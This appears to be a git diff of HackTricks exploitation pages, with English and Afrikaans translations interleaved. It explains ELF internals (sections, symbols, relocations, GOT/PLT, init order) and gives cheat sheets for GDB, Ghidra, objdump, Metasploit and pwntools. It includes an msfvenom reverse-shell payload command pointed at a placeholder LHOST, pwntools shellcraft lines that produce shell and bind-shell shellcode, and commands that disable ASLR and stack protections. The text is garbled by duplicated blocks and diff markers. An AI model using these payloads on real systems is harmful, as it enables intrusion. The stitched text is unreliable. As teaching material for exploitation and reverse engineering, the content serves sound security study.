- **`.data`**: Globale veranderlikes met 'n gedefinieerde waarde in die program.
- **`.bss`**: Globale veranderlikes wat nie geinitialiseer is nie (of geinitieer na nul). Veranderlikes hier word outomaties na nul geinitialiseer, wat voorkom dat nuttelose nulles by die binêre gevoeg word.
- **`.rodata`**: Konstant globale veranderlikes (lees-slegs afdeling).
- **`.tdata`** en **`.tbss`**: Soos die .data en .bss wanneer thread-lokale veranderlikes gebruik word (`__thread_local` in C++ of `__thread` in C).
- **`.dynamic`**: Sien hieronder.
- **`.text`**: The instruction of the program to run.
- **`.data`**: Global variables with a defined value in the program.
- **`.bss`**: Global variables left uninitialized (or init to zero). Variables here are automatically intialized to zero therefore preventing useless zeroes to being added to the binary.
- **`.rodata`**: Constant global variables (read-only section).
- **`.tdata`** and **`.tbss`**: Like the .data and .bss when thread-local variables are used (`__thread_local` in C++ or `__thread` in C).
- **`.dynamic`**: See below.
## Symbols
Symbols is a named location in the program which could be a function, a global data object, thread-local variables...
## Simbole
Simbole is 'n benoemde ligging in die program wat 'n funksie, 'n globale data objek, thread-lokale veranderlikes kan wees...
```
readelf -s lnstat
Symbol table '.dynsym' contains 49 entries:
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
Num: Value Size Type Bind Vis Ndx Name
0: 0000000000000000 0 NOTYPE LOCAL DEFAULT UND
1: 0000000000001088 0 SECTION LOCAL DEFAULT 12 .init
2: 0000000000020000 0 SECTION LOCAL DEFAULT 23 .data
3: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strtok@GLIBC_2.17 (2)
4: 0000000000000000 0 FUNC GLOBAL DEFAULT UND s[...]@GLIBC_2.17 (2)
5: 0000000000000000 0 FUNC GLOBAL DEFAULT UND strlen@GLIBC_2.17 (2)
6: 0000000000000000 0 FUNC GLOBAL DEFAULT UND fputs@GLIBC_2.17 (2)
7: 0000000000000000 0 FUNC GLOBAL DEFAULT UND exit@GLIBC_2.17 (2)
8: 0000000000000000 0 FUNC GLOBAL DEFAULT UND _[...]@GLIBC_2.34 (3)
9: 0000000000000000 0 FUNC GLOBAL DEFAULT UND perror@GLIBC_2.17 (2)
10: 0000000000000000 0 NOTYPE WEAK DEFAULT UND _ITM_deregisterT[...]
11: 0000000000000000 0 FUNC WEAK DEFAULT UND _[...]@GLIBC_2.17 (2)
12: 0000000000000000 0 FUNC GLOBAL DEFAULT UND putc@GLIBC_2.17 (2)
[...]
```
Elke simbool inskrywing bevat:
Each symbol entry contains:
- **Name**
- **Binding attributes** (weak, local or global): A local symbol can only be accessed by the program itself while the global symbol are shared outside the program. A weak object is for example a function that can be overridden by a different one.
- **Type**: NOTYPE (no type specified), OBJECT (global data var), FUNC (function), SECTION (section), FILE (source-code file for debuggers), TLS (thread-local variable), GNU_IFUNC (indirect function for relocation)
- **Section** index where it's located
- **Value** (address sin memory)
- **Size**
## Dynamic Section
- **Naam**
- **Bindattribuut** (swak, plaaslik of globaal): 'n Plaaslike simbool kan slegs deur die program self toeganklik wees terwyl die globale simbool buite die program gedeel word. 'n Swak objek is byvoorbeeld 'n funksie wat deur 'n ander een oorgeskryf kan word.
- **Tipe**: NOTYPE (geen tipe gespesifiseer), OBJECT (globale data var), FUNC (funksie), SECTION (seksie), FILE (bronkode-lêer vir debuggers), TLS (draad-lokale veranderlike), GNU_IFUNC (indirekte funksie vir herlokasie)
- **Seksie** indeks waar dit geleë is
- **Waarde** (adres in geheue)
- **Grootte**
## Dinamiese Seksie
```
readelf -d lnstat
Dynamic section at offset 0xfc58 contains 28 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000001 (NEEDED) Shared library: [ld-linux-aarch64.so.1]
0x000000000000000c (INIT) 0x1088
0x000000000000000d (FINI) 0x2f74
0x0000000000000019 (INIT_ARRAY) 0x1fc48
0x000000000000001b (INIT_ARRAYSZ) 8 (bytes)
0x000000000000001a (FINI_ARRAY) 0x1fc50
0x000000000000001c (FINI_ARRAYSZ) 8 (bytes)
0x000000006ffffef5 (GNU_HASH) 0x338
0x0000000000000005 (STRTAB) 0x7f0
0x0000000000000006 (SYMTAB) 0x358
0x000000000000000a (STRSZ) 510 (bytes)
0x000000000000000b (SYMENT) 24 (bytes)
0x0000000000000015 (DEBUG) 0x0
0x0000000000000003 (PLTGOT) 0x1fe58
0x0000000000000002 (PLTRELSZ) 960 (bytes)
0x0000000000000014 (PLTREL) RELA
0x0000000000000017 (JMPREL) 0xcc8
0x0000000000000007 (RELA) 0xaa0
0x0000000000000008 (RELASZ) 552 (bytes)
0x0000000000000009 (RELAENT) 24 (bytes)
0x000000000000001e (FLAGS) BIND_NOW
0x000000006ffffffb (FLAGS_1) Flags: NOW PIE
0x000000006ffffffe (VERNEED) 0xa50
0x000000006fffffff (VERNEEDNUM) 2
0x000000006ffffff0 (VERSYM) 0x9ee
0x000000006ffffff9 (RELACOUNT) 15
0x0000000000000000 (NULL) 0x0
```
Die NEEDED-gids dui aan dat die program **nodig het om die genoemde biblioteek te laai** om voort te gaan. Die NEEDED-gids is voltooi sodra die gedeelde **biblioteek ten volle funksioneel en gereed** is vir gebruik.
The NEEDED directory indicates that the program **needs to load the mentioned library** in order to continue. The NEEDED directory completes once the shared **library is fully operational and ready** for use.
## Relocations
The loader also must relocate dependencies after having loaded them. These relocations are indicated in the relocation table in formats REL or RELA and the number of relocations is given in the dynamic sections RELSZ or RELASZ.
## Herlokasies
Die laaier moet ook afhanklikhede herlokasie nadat dit gelaai is. Hierdie herlokasies word aangedui in die herlokasietabel in die formate REL of RELA en die aantal herlokasies word gegee in die dinamiese afdelings RELSZ of RELASZ.
```
readelf -r lnstat
Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fc48 000000000403 R_AARCH64_RELATIV 1d10
00000001fc50 000000000403 R_AARCH64_RELATIV 1cc0
00000001fff0 000000000403 R_AARCH64_RELATIV 1340
@ -273,7 +264,7 @@ Relocation section '.rela.dyn' at offset 0xaa0 contains 23 entries:
00000001fff8 002e00000401 R_AARCH64_GLOB_DA 0000000000000000 _ITM_registerTMCl[...] + 0
Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
Offset Info Type Sym. Value Sym. Name + Addend
Offset Info Type Sym. Value Sym. Name + Addend
00000001fe70 000300000402 R_AARCH64_JUMP_SL 0000000000000000 strtok@GLIBC_2.17 + 0
00000001fe78 000400000402 R_AARCH64_JUMP_SL 0000000000000000 strtoul@GLIBC_2.17 + 0
00000001fe80 000500000402 R_AARCH64_JUMP_SL 0000000000000000 strlen@GLIBC_2.17 + 0
@ -315,82 +306,77 @@ Relocation section '.rela.plt' at offset 0xcc8 contains 40 entries:
00000001ffa0 002f00000402 R_AARCH64_JUMP_SL 0000000000000000 __assert_fail@GLIBC_2.17 + 0
00000001ffa8 003000000402 R_AARCH64_JUMP_SL 0000000000000000 fgets@GLIBC_2.17 + 0
```
### Statiese Herlokasies
### Static Relocations
As die **program in 'n ander plek gelaai word** as die verkiesde adres (gewoonlik 0x400000) omdat die adres reeds gebruik word of as gevolg van **ASLR** of enige ander rede, sal 'n statiese herlokasie **wysers regstel** wat waardes gehad het wat verwag het dat die binêre in die verkiesde adres gelaai word.
If the **program is loaded in a place different** from the preferred address (usually 0x400000) because the address is already used or because of **ASLR** or any other reason, a static relocation **corrects pointers** that had values expecting the binary to be loaded in the preferred address.
Byvoorbeeld, enige afdeling van tipe `R_AARCH64_RELATIV` moet die adres by die herlokasiebias plus die addendwaarde gewysig het.
For example any section of type `R_AARCH64_RELATIV` should have modified the address at the relocation bias plus the addend value.
### Dinamiese Herlokasies en GOT
### Dynamic Relocations and GOT
Die herlokasie kan ook na 'n eksterne simbool verwys (soos 'n funksie van 'n afhanklikheid). Soos die funksie malloc van libC. Dan, wanneer die laaier libC in 'n adres laai, sal dit kyk waar die malloc-funksie gelaai is, en hierdie adres in die GOT (Global Offset Table) tabel (aangegee in die herlokasietabel) skryf waar die adres van malloc gespesifiseer moet word.
The relocation could also reference an external symbol (like a function from a dependency). Like the function malloc from libC. Then, the loader when loading libC in an address checking where the malloc function is loaded, it will write this address in the GOT (Global Offset Table) table (indicated in the relocation table) where the address of malloc should be specified.
### Prosedure Koppelingstabel
### Procedure Linkage Table
Die PLT-afdeling maak dit moontlik om lui binding uit te voer, wat beteken dat die resolusie van die ligging van 'n funksie die eerste keer wat dit aangespreek word, uitgevoer sal word.
The PLT section allows to perform lazy binding, which means that the resolution of the location of a function will be performed the first time it's accessed.
So wanneer 'n program na malloc roep, roep dit eintlik die ooreenstemmende ligging van `malloc` in die PLT (`malloc@plt`). Die eerste keer wat dit geroep word, los dit die adres van `malloc` op en stoor dit sodat die volgende keer dat `malloc` geroep word, daardie adres gebruik word in plaas van die PLT-kode.
So when a program calls to malloc, it actually calls the corresponding location of `malloc` in the PLT (`malloc@plt`). The first time it's called it resolves the address of `malloc` and stores it so next time `malloc` is called, that address is used instead of the PLT code.
## Program Initialization
After the program has been loaded it's time for it to run. However, the first code that is run i**sn't always the `main`** function. This is because for example in C++ if a **global variable is an object of a class**, this object must be **initialized** **before** main runs, like in:
## Program Inisialiserings
Nadat die program gelaai is, is dit tyd vir dit om te loop. egter, die eerste kode wat uitgevoer word **is nie altyd die `main`** funksie nie. Dit is omdat byvoorbeeld in C++ as 'n **globale veranderlike 'n objek van 'n klas is**, moet hierdie objek **geïnitialiseer** word **voordat** main loop, soos in:
```cpp
#include <stdio.h>
// g++ autoinit.cpp -o autoinit
class AutoInit {
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
public:
AutoInit() {
printf("Hello AutoInit!\n");
}
~AutoInit() {
printf("Goodbye AutoInit!\n");
}
};
AutoInit autoInit;
int main() {
printf("Main\n");
return 0;
printf("Main\n");
return 0;
}
```
Let daarop dat hierdie globale veranderlikes in `.data` of `.bss` geleë is, maar in die lyste `__CTOR_LIST__` en `__DTOR_LIST__` word die voorwerpe om te inisialiseer en te vernietig gestoor om hulle dop te hou.
Note that these global variables are located in `.data` or `.bss` but in the lists `__CTOR_LIST__` and `__DTOR_LIST__` the objects to initialize and destruct are stored in order to keep track of them.
From C code it's possible to obtain the same result using the GNU extensions :
Van C-kode is dit moontlik om dieselfde resultaat te verkry deur die GNU-uitbreidings:
```c
__attributte__((constructor)) //Add a constructor to execute before
__attributte__((destructor)) //Add to the destructor list
```
Vanuit 'n kompilator perspektief, om hierdie aksies voor en na die `main` funksie uitgevoer te kry, is dit moontlik om 'n `init` funksie en 'n `fini` funksie te skep wat in die dinamiese afdeling as **`INIT`** en **`FIN`** verwys word. en word in die `init` en `fini` afdelings van die ELF geplaas.
From a compiler perspective, to execute these actions before and after the `main` function is executed, it's possible to create a `init` function and a `fini` function which would be referenced in the dynamic section as **`INIT`** and **`FIN`**. and are placed in the `init` and `fini` sections of the ELF.
Die ander opsie, soos genoem, is om die lyste **`__CTOR_LIST__`** en **`__DTOR_LIST__`** in die **`INIT_ARRAY`** en **`FINI_ARRAY`** inskrywings in die dinamiese afdeling te verwys en die lengte hiervan word aangedui deur **`INIT_ARRAYSZ`** en **`FINI_ARRAYSZ`**. Elke inskrywing is 'n funksie-aanwyser wat sonder argumente aangeroep sal word.
The other option, as mentioned, is to reference the lists **`__CTOR_LIST__`** and **`__DTOR_LIST__`** in the **`INIT_ARRAY`** and **`FINI_ARRAY`** entries in the dynamic section and the length of these are indicated by **`INIT_ARRAYSZ`** and **`FINI_ARRAYSZ`**. Each entry is a function pointer that will be called without arguments.
Boonop is dit ook moontlik om 'n **`PREINIT_ARRAY`** te hê met **aanwysers** wat **voor** die **`INIT_ARRAY`** aanwysers uitgevoer sal word.
Moreover, it's also possible to have a **`PREINIT_ARRAY`** with **pointers** that will be executed **before** the **`INIT_ARRAY`** pointers.
### Inisialiseringsvolgorde
### Initialization Order
1. Die program word in geheue gelaai, statiese globale veranderlikes word in **`.data`** geïnitialiseer en nie-geïnitialiseerde word op nul gestel in **`.bss`**.
2. Alle **afhanklikhede** vir die program of biblioteke word **geïnitialiseer** en die **dinamiese skakeling** word uitgevoer.
3. **`PREINIT_ARRAY`** funksies word uitgevoer.
4. **`INIT_ARRAY`** funksies word uitgevoer.
5. As daar 'n **`INIT`** inskrywing is, word dit aangeroep.
6. As 'n biblioteek is, eindig dlopen hier, as 'n program, is dit tyd om die **werklike toegangspunt** (`main` funksie) aan te roep.
1. The program is loaded into memory, static global variables are initialized in **`.data`** and unitialized ones zeroed in **`.bss`**.
2. All **dependencies** for the program or libraries are **initialized** and the the **dynamic linking** is executed.
3. **`PREINIT_ARRAY`** functions are executed.
4. **`INIT_ARRAY`** functions are executed.
5. If there is a **`INIT`** entry it's called.
6. If a library, dlopen ends here, if a program, it's time to call the **real entry point** (`main` function).
## Draad-Lokale Berging (TLS)
## Thread-Local Storage (TLS)
Hulle word gedefinieer met die sleutelwoord **`__thread_local`** in C++ of die GNU uitbreiding **`__thread`**.
They are defined using the keyword **`__thread_local`** in C++ or the GNU extension **`__thread`**.
Elke draad sal 'n unieke ligging vir hierdie veranderlike handhaaf sodat slegs die draad toegang tot sy veranderlike kan hê.
Each thread will maintain a unique location for this variable so only the thread can access its variable.
Wanneer dit gebruik word, word die afdelings **`.tdata`** en **`.tbss`** in die ELF gebruik. Wat soos `.data` (geïnitialiseerd) en `.bss` (nie geïnitialiseerd) is, maar vir TLS.
When this is used the sections **`.tdata`** and **`.tbss`** are used in the ELF. Which are like `.data` (initialized) and `.bss` (not initialized) but for TLS.
Elke veranderlike sal 'n inskrywing in die TLS-kop hê wat die grootte en die TLS-offset spesifiseer, wat die offset is wat dit in die draad se plaaslike data area sal gebruik.
Each variable will hace an entry in the TLS header specifying the size and the TLS offset, which is the offset it will use in the thread's local data area.
The `__TLS_MODULE_BASE` is a symbol used to refer to the base address of the thread local storage and points to the area in memory that contains all the thread-local data of a module.
Die `__TLS_MODULE_BASE` is 'n simbool wat gebruik word om na die basisadres van die draad-lokale berging te verwys en wys na die area in geheue wat al die draad-lokale data van 'n module bevat.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -3,7 +3,6 @@
{{#include ../../../banners/hacktricks-training.md}}
## Metasploit
```bash
pattern_create.rb -l 3000 #Length
pattern_offset.rb -l 3000 -q 5f97d534 #Search offset
@ -11,31 +10,23 @@ nasm_shell.rb
nasm> jmp esp #Get opcodes
msfelfscan -j esi /opt/fusion/bin/level01
```
### Shellcodes
```bash
msfvenom /p windows/shell_reverse_tcp LHOST=<IP> LPORT=<PORT> [EXITFUNC=thread] [-e x86/shikata_ga_nai] -b "\x00\x0a\x0d" -f c
```
## GDB
### Install
### Installeer
```bash
apt-get install gdb
```
### Parameters
```bash
-q # No show banner
-x <file> # Auto-execute GDB instructions from here
-p <pid> # Attach to process
```
### Instructions
### Instruksies
```bash
run # Execute
start # Start and break in main
@ -81,11 +72,9 @@ x/s pointer # String pointed by the pointer
x/xw &pointer # Address where the pointer is located
x/i $eip # Instructions of the EIP
```
### [GEF](https://github.com/hugsy/gef)
You could optionally use [**this fork of GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) which contains more interesting instructions.
Jy kan opsioneel [**hierdie fork van GE**](https://github.com/bata24/gef)[**F**](https://github.com/bata24/gef) gebruik wat meer interessante instruksies bevat.
```bash
help memory # Get help on memory command
canary # Search for canary value in memory
@ -118,34 +107,32 @@ dump binary memory /tmp/dump.bin 0x200000000 0x20000c350
1- Put a bp after the function that overwrites the RIP and send a ppatern to ovwerwrite it
2- ef➤ i f
Stack level 0, frame at 0x7fffffffddd0:
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
rip = 0x400cd3; saved rip = 0x6261617762616176
called by frame at 0x7fffffffddd8
Arglist at 0x7fffffffdcf8, args:
Locals at 0x7fffffffdcf8, Previous frame's sp is 0x7fffffffddd0
Saved registers:
rbp at 0x7fffffffddc0, rip at 0x7fffffffddc8
gef➤ pattern search 0x6261617762616176
[+] Searching for '0x6261617762616176'
[+] Found at offset 184 (little-endian search) likely
```
### Tricks
#### GDB same addresses
#### GDB dieselfde adresse
While debugging GDB will have **slightly different addresses than the used by the binary when executed.** You can make GDB have the same addresses by doing:
Terwyl jy debugg, sal GDB **liggies verskillende adresse hê as die wat deur die binêre gebruik word wanneer dit uitgevoer word.** Jy kan GDB dieselfde adresse laat hê deur:
- `unset env LINES`
- `unset env COLUMNS`
- `set env _=<path>` _Put the absolute path to the binary_
- Exploit the binary using the same absolute route
- `PWD` and `OLDPWD` must be the same when using GDB and when exploiting the binary
- `set env _=<path>` _Plaas die absolute pad na die binêre_
- Exploit die binêre met dieselfde absolute roete
- `PWD` en `OLDPWD` moet dieselfde wees wanneer jy GDB gebruik en wanneer jy die binêre exploiteer
#### Backtrace to find functions called
When you have a **statically linked binary** all the functions will belong to the binary (and no to external libraries). In this case it will be difficult to **identify the flow that the binary follows to for example ask for user input**.\
You can easily identify this flow by **running** the binary with **gdb** until you are asked for input. Then, stop it with **CTRL+C** and use the **`bt`** (**backtrace**) command to see the functions called:
#### Backtrace om funksies te vind wat aangeroep word
Wanneer jy 'n **statically linked binary** het, sal al die funksies aan die binêre behoort (en nie aan eksterne biblioteke nie). In hierdie geval sal dit moeilik wees om die **vloei wat die binêre volg om byvoorbeeld gebruikersinvoer te vra** te **identifiseer**.\
Jy kan hierdie vloei maklik identifiseer deur die binêre met **gdb** te **hardloop** totdat jy vir invoer gevra word. Stop dit dan met **CTRL+C** en gebruik die **`bt`** (**backtrace**) opdrag om die funksies wat aangeroep is te sien:
```
gef➤ bt
#0 0x00000000004498ae in ?? ()
@ -154,87 +141,80 @@ gef➤ bt
#3 0x00000000004011a9 in ?? ()
#4 0x0000000000400a5a in ?? ()
```
### GDB bediener
### GDB server
`gdbserver --multi 0.0.0.0:23947` (in IDA you have to fill the absolute path of the executable in the Linux machine and in the Windows machine)
`gdbserver --multi 0.0.0.0:23947` (in IDA moet jy die absolute pad van die uitvoerbare lêer in die Linux masjien en in die Windows masjien invul)
## Ghidra
### Find stack offset
### Vind stap offset
**Ghidra** is very useful to find the the **offset** for a **buffer overflow thanks to the information about the position of the local variables.**\
For example, in the example below, a buffer flow in `local_bc` indicates that you need an offset of `0xbc`. Moreover, if `local_10` is a canary cookie it indicates that to overwrite it from `local_bc` there is an offset of `0xac`.\
&#xNAN;_&#x52;emember that the first 0x08 from where the RIP is saved belongs to the RBP._
**Ghidra** is baie nuttig om die **offset** vir 'n **buffer overflow te vind danksy die inligting oor die posisie van die plaaslike veranderlikes.**\
Byvoorbeeld, in die voorbeeld hieronder dui 'n buffer vloei in `local_bc` aan dat jy 'n offset van `0xbc` nodig het. Boonop, as `local_10` 'n kanarie koekie is, dui dit aan dat om dit van `local_bc` te oorskry daar 'n offset van `0xac` is.\
&#xNAN;_&#x52;emember dat die eerste 0x08 van waar die RIP gestoor word aan die RBP behoort._
![](<../../../images/image (1061).png>)
## qtool
```bash
qltool run -v disasm --no-console --log-file disasm.txt --rootfs ./ ./prog
```
Get every opcode executed in the program.
Kry elke opcode wat in die program uitgevoer word.
## GCC
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compile without protections\
&#xNAN;**-o** --> Output\
&#xNAN;**-g** --> Save code (GDB will be able to see it)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> To deactivate the ASLR in linux
**gcc -fno-stack-protector -D_FORTIFY_SOURCE=0 -z norelro -z execstack 1.2.c -o 1.2** --> Compileer sonder beskerming\
&#xNAN;**-o** --> Uitset\
&#xNAN;**-g** --> Stoor kode (GDB sal dit kan sien)\
**echo 0 > /proc/sys/kernel/randomize_va_space** --> Om die ASLR in linux te deaktiveer
**To compile a shellcode:**\
**nasm -f elf assembly.asm** --> return a ".o"\
**ld assembly.o -o shellcodeout** --> Executable
**Om 'n shellcode te compileer:**\
**nasm -f elf assembly.asm** --> gee 'n ".o" terug\
**ld assembly.o -o shellcodeout** --> Uitvoerbaar
## Objdump
**-d** --> **Disassemble executable** sections (see opcodes of a compiled shellcode, find ROP Gadgets, find function address...)\
&#xNAN;**-Mintel** --> **Intel** syntax\
&#xNAN;**-t** --> **Symbols** table\
&#xNAN;**-D** --> **Disassemble all** (address of static variable)\
&#xNAN;**-s -j .dtors** --> dtors section\
&#xNAN;**-s -j .got** --> got section\
-D -s -j .plt --> **plt** section **decompiled**\
&#xNAN;**-TR** --> **Relocations**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Address of "puts" to modify in GOT\
**objdump -D ./exec | grep "VAR_NAME"** --> Address or a static variable (those are stored in DATA section).
**-d** --> **Disassemble uitvoerbare** afdelings (sien opcodes van 'n gecompileerde shellcode, vind ROP Gadgets, vind funksie adres...)\
&#xNAN;**-Mintel** --> **Intel** sintaksis\
&#xNAN;**-t** --> **Simbol** tabel\
&#xNAN;**-D** --> **Disassemble alles** (adres van statiese veranderlike)\
&#xNAN;**-s -j .dtors** --> dtors afdeling\
&#xNAN;**-s -j .got** --> got afdeling\
-D -s -j .plt --> **plt** afdeling **gedekodeer**\
&#xNAN;**-TR** --> **Herverplasing**\
**ojdump -t --dynamic-relo ./exec | grep puts** --> Adres van "puts" om in GOT te wysig\
**objdump -D ./exec | grep "VAR_NAME"** --> Adres of 'n statiese veranderlike (daardie word in DATA afdeling gestoor).
## Core dumps
1. Run `ulimit -c unlimited` before starting my program
2. Run `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t`
1. Voer `ulimit -c unlimited` uit voordat ek my program begin
2. Voer `sudo sysctl -w kernel.core_pattern=/tmp/core-%e.%p.%h.%t` uit
3. sudo gdb --core=\<path/core> --quiet
## More
## Meer
**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Loop to see if the address changes a lot\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh"
**ldd uitvoerbaar | grep libc.so.6** --> Adres (as ASLR, dan verander dit elke keer)\
**for i in \`seq 0 20\`; do ldd \<Ejecutable> | grep libc; done** --> Lus om te sien of die adres baie verander\
**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset van "system"\
**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset van "/bin/sh"
**strace executable** --> Functions called by the executable\
**rabin2 -i ejecutable -->** Address of all the functions
**strace uitvoerbaar** --> Funksies wat deur die uitvoerbare aangeroep word\
**rabin2 -i ejecutable -->** Adres van al die funksies
## **Inmunity debugger**
```bash
!mona modules #Get protections, look for all false except last one (Dll of SO)
!mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP)
```
## IDA
### Debugging in remote linux
Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary `linux_server` or `linux_server64` inside the linux server and run it nside the folder that contains the binary:
### Foutopsporing in afstand linux
Binne die IDA-gids kan jy binaire vind wat gebruik kan word om 'n binêre binne 'n linux te foutopspoor. Om dit te doen, skuif die binêre `linux_server` of `linux_server64` binne die linux bediener en voer dit uit binne die gids wat die binêre bevat:
```
./linux_server64 -Ppass
```
Then, configure the debugger: Debugger (linux remote) --> Proccess options...:
Dan, konfigureer die debugger: Debugger (linux remote) --> Proses opsies...:
![](<../../../images/image (858).png>)

View File

@ -1,120 +1,100 @@
# PwnTools
{{#include ../../../banners/hacktricks-training.md}}
```
pip3 install pwntools
```
## Pwn asm
Get **opcodes** from line or file.
Kry **opcodes** van lyn of lêer.
```
pwn asm "jmp esp"
pwn asm -i <filepath>
```
**Kan kies:**
**Can select:**
- output type (raw,hex,string,elf)
- output file context (16,32,64,linux,windows...)
- avoid bytes (new lines, null, a list)
- select encoder debug shellcode using gdb run the output
- uitvoer tipe (raw, hex, string, elf)
- uitvoer lêer konteks (16, 32, 64, linux, windows...)
- vermy bytes (nuwe lyne, null, 'n lys)
- kies kodering debug shellcode met gdb om die uitvoer te loop
## **Pwn checksec**
Checksec script
Checksec skrif
```
pwn checksec <executable>
```
## Pwn constgrep
## Pwn cyclic
Get a pattern
Kry 'n patroon
```
pwn cyclic 3000
pwn cyclic -l faad
```
**Kan kies:**
**Can select:**
- The used alphabet (lowercase chars by default)
- Length of uniq pattern (default 4)
- context (16,32,64,linux,windows...)
- Take the offset (-l)
- Die gebruikte alfabet (kleinletters per standaard)
- Lengte van unieke patroon (standaard 4)
- konteks (16,32,64,linux,windows...)
- Neem die offset (-l)
## Pwn debug
Attach GDB to a process
Koppel GDB aan 'n proses
```
pwn debug --exec /bin/bash
pwn debug --pid 1234
pwn debug --process bash
```
**Kan kies:**
**Can select:**
- By executable, by name or by pid context (16,32,64,linux,windows...)
- gdbscript to execute
- sysrootpath
- Deur uitvoerbare lêer, naam of pid-konteks (16,32,64,linux,windows...)
- gdbscript om uit te voer
- sysrootpad
## Pwn disablenx
Disable nx of a binary
Deaktiveer nx van 'n binêre
```
pwn disablenx <filepath>
```
## Pwn disasm
Disas hex opcodes
```
pwn disasm ffe4
```
**Kan kies:**
**Can select:**
- context (16,32,64,linux,windows...)
- base addres
- color(default)/no color
- konteks (16,32,64,linux,windows...)
- basis adres
- kleur (standaard)/geen kleur
## Pwn elfdiff
Print differences between 2 files
Druk verskille tussen 2 lêers uit
```
pwn elfdiff <file1> <file2>
```
## Pwn hex
Get hexadecimal representation
Kry hexadesimale voorstelling
```bash
pwn hex hola #Get hex of "hola" ascii
```
## Pwn phd
Get hexdump
Kry hexdump
```
pwn phd <file>
```
**Kan kies:**
**Can select:**
- Number of bytes to show
- Number of bytes per line highlight byte
- Skip bytes at beginning
- Aantal bytes om te wys
- Aantal bytes per lyn beklemtoon byte
- Skuif bytes aan die begin
## Pwn pwnstrip
@ -122,8 +102,7 @@ pwn phd <file>
## Pwn shellcraft
Get shellcodes
Kry shellcodes
```
pwn shellcraft -l #List shellcodes
pwn shellcraft -l amd #Shellcode with amd in the name
@ -131,46 +110,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run
pwn shellcraft -r amd64.linux.sh #Run to test. Get shell
pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port
```
**Kan kies:**
**Can select:**
- shellcode en argumente vir die shellcode
- Uitvoer lêer
- uitvoerformaat
- debug (koppel dbg aan shellcode)
- voor (debug val voor kode)
- na
- vermy die gebruik van opcodes (verstek: nie null en nuwe lyn nie)
- Voer die shellcode uit
- Kleur/geen kleur
- lys syscalls
- lys moontlike shellcodes
- Genereer ELF as 'n gedeelde biblioteek
- shellcode and arguments for the shellcode
- Out file
- output format
- debug (attach dbg to shellcode)
- before (debug trap before code)
- after
- avoid using opcodes (default: not null and new line)
- Run the shellcode
- Color/no color
- list syscalls
